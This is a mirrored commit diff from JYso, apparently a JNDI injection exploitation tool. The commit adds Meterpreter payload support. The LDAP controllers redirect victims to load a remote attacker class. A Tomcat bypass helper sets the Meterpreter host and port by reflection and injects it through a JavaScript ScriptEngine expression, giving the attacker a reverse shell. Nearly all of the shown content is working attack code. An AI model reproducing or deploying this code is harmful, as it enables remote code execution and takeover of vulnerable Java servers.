mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 07:11:52 +08:00
msf
This commit is contained in:
@@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.InjShell;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.jndi.template.CommandTemplate;
|
||||
import com.qi4l.jndi.template.echo.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
@@ -55,8 +56,12 @@ public class BasicController implements LdapController {
|
||||
className = commandTemplate.getClassName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("meterpreter")) {
|
||||
className = Meterpreter.class.getName();
|
||||
}
|
||||
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
URL turl = new URL(new URL(this.codebase), className1 + ".class");
|
||||
URL turl = new URL(new URL(this.codebase), className1 + ".class");
|
||||
System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
|
||||
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
|
||||
@@ -18,6 +18,7 @@ import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@@ -65,6 +66,10 @@ public class TomcatBypassController implements LdapController {
|
||||
code = helper.getExecCode(params[0]);
|
||||
}
|
||||
|
||||
if (payloadType.contains("meterpreter")) {
|
||||
code = helper.injectMeterpreter();
|
||||
}
|
||||
|
||||
String payloadTemplate = "{" +
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||
@@ -145,6 +150,17 @@ public class TomcatBypassController implements LdapController {
|
||||
|
||||
private class TomcatBypassHelper {
|
||||
|
||||
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter");
|
||||
Field WinClassName = ctClazz.getDeclaredField("host");
|
||||
WinClassName.setAccessible(true);
|
||||
WinClassName.set(ctClazz, params[0]);
|
||||
Field WinclassBody = ctClazz.getDeclaredField("port");
|
||||
WinclassBody.setAccessible(true);
|
||||
WinclassBody.set(ctClazz, params[1]);
|
||||
return InjShell.injectClass(ctClazz);
|
||||
}
|
||||
|
||||
public String getExecCode(String cmd) throws IOException {
|
||||
|
||||
String code = "var strs=new Array(3);\n" +
|
||||
|
||||
Reference in New Issue
Block a user